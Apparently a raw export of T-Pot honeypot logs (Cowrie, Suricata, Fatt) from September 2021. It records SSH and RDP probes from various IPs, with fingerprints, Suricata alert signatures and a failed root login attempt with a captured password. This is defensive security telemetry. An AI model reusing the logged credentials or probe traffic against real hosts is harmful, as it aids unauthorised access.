"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31535	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:46:10.128784+03	2021-09-20 15:00:02.292717+03	{"_id": "yAYHA3wBvYTbRNuEHUTl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56130, "dest_port": 22, "timestamp": "2021-09-20T11:46:10.128784", "@timestamp": "2021-09-20T11:46:10.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31536	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:46:10.1294+03	2021-09-20 15:00:02.293717+03	{"_id": "0AYHA3wBvYTbRNuEH0Qv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b945ebc9ec5b", "@version": "1", "timestamp": "2021-09-20T11:46:10.129400Z", "@timestamp": "2021-09-20T11:46:10.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31537	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:46:10.745841+03	2021-09-20 15:00:02.295717+03	{"_id": "1AYHA3wBvYTbRNuEIETS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:10.415813+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 417472775870533, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54218, "dest_port": 3389, "timestamp": "2021-09-20T11:46:10.745841Z", "@timestamp": "2021-09-20T11:46:10.745Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31538	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:46:10.802578+03	2021-09-20 15:00:02.296716+03	{"_id": "1QYHA3wBvYTbRNuEIETS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:10.415813+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 417472775870533, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 54218, "timestamp": "2021-09-20T11:46:10.802578Z", "@timestamp": "2021-09-20T11:46:10.802Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31555	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:46:19.735413+03	2021-09-20 15:00:02.319717+03	{"_id": "-gYHA3wBvYTbRNuEQ0T_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 664420511087215, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38930, "dest_port": 22, "timestamp": "2021-09-20T11:46:19.735413Z", "@timestamp": "2021-09-20T11:46:19.735Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31539	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:46:10.745841+03	2021-09-20 15:00:02.298717+03	{"_id": "1wYHA3wBvYTbRNuEIETU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:10.415813+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 417472775870533, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54218, "dest_port": 3389, "timestamp": "2021-09-20T11:46:10.745841Z", "@timestamp": "2021-09-20T11:46:10.745Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31540	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:46:11.117091+03	2021-09-20 15:00:02.299716+03	{"_id": "2AYHA3wBvYTbRNuEIETU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:10.415813+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 417472775870533, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54218, "dest_port": 3389, "timestamp": "2021-09-20T11:46:11.117091Z", "@timestamp": "2021-09-20T11:46:11.117Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31541	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:46:10.745841+03	2021-09-20 15:00:02.300717+03	{"_id": "2QYHA3wBvYTbRNuEIUTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 54218, "dest_port": 3389, "timestamp": "2021-09-20T11:46:10.745841", "@timestamp": "2021-09-20T11:46:10.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
31542	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:46:11.350982+03	2021-09-20 15:00:02.302716+03	{"_id": "2wYHA3wBvYTbRNuEI0QY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [root/Schule123] failed", "session": "b945ebc9ec5b", "@version": "1", "password": "Schule123", "username": "root", "timestamp": "2021-09-20T11:46:11.350982Z", "@timestamp": "2021-09-20T11:46:11.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31543	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:46:11.918673+03	2021-09-20 15:00:02.303717+03	{"_id": "3AYHA3wBvYTbRNuEJES7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 277289338375898, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43548, "dest_port": 22, "timestamp": "2021-09-20T11:46:11.918673Z", "@timestamp": "2021-09-20T11:46:11.918Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31544	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:11.874183+03	2021-09-20 15:00:02.304717+03	{"_id": "3QYHA3wBvYTbRNuEJUS3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43548, "timestamp": "2021-09-20T11:46:11.874183", "@timestamp": "2021-09-20T11:46:11.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31545	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:46:10.128784+03	2021-09-20 15:00:02.305717+03	{"_id": "xwYHA3wBvYTbRNuEHETp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:46:09.574998+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 679072791381526, "payload": "AAADzAYUnq2uR7phXCuIDW6fldY0mgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56130, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:46:10.128784Z", "@timestamp": "2021-09-20T11:46:10.128Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........G.a\\\\+.\\rn...4....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31546	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:09.855293+03	2021-09-20 15:00:02.307717+03	{"_id": "yQYHA3wBvYTbRNuEHUTl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56130, "timestamp": "2021-09-20T11:46:09.855293", "@timestamp": "2021-09-20T11:46:09.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31547	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:46:09.851665+03	2021-09-20 15:00:02.308716+03	{"_id": "0QYHA3wBvYTbRNuEH0Qv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:56130 (192.168.176.2:22) [session: b945ebc9ec5b]", "session": "b945ebc9ec5b", "@version": "1", "protocol": "ssh", "src_port": 56130, "dest_port": 22, "timestamp": "2021-09-20T11:46:09.851665Z", "@timestamp": "2021-09-20T11:46:09.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
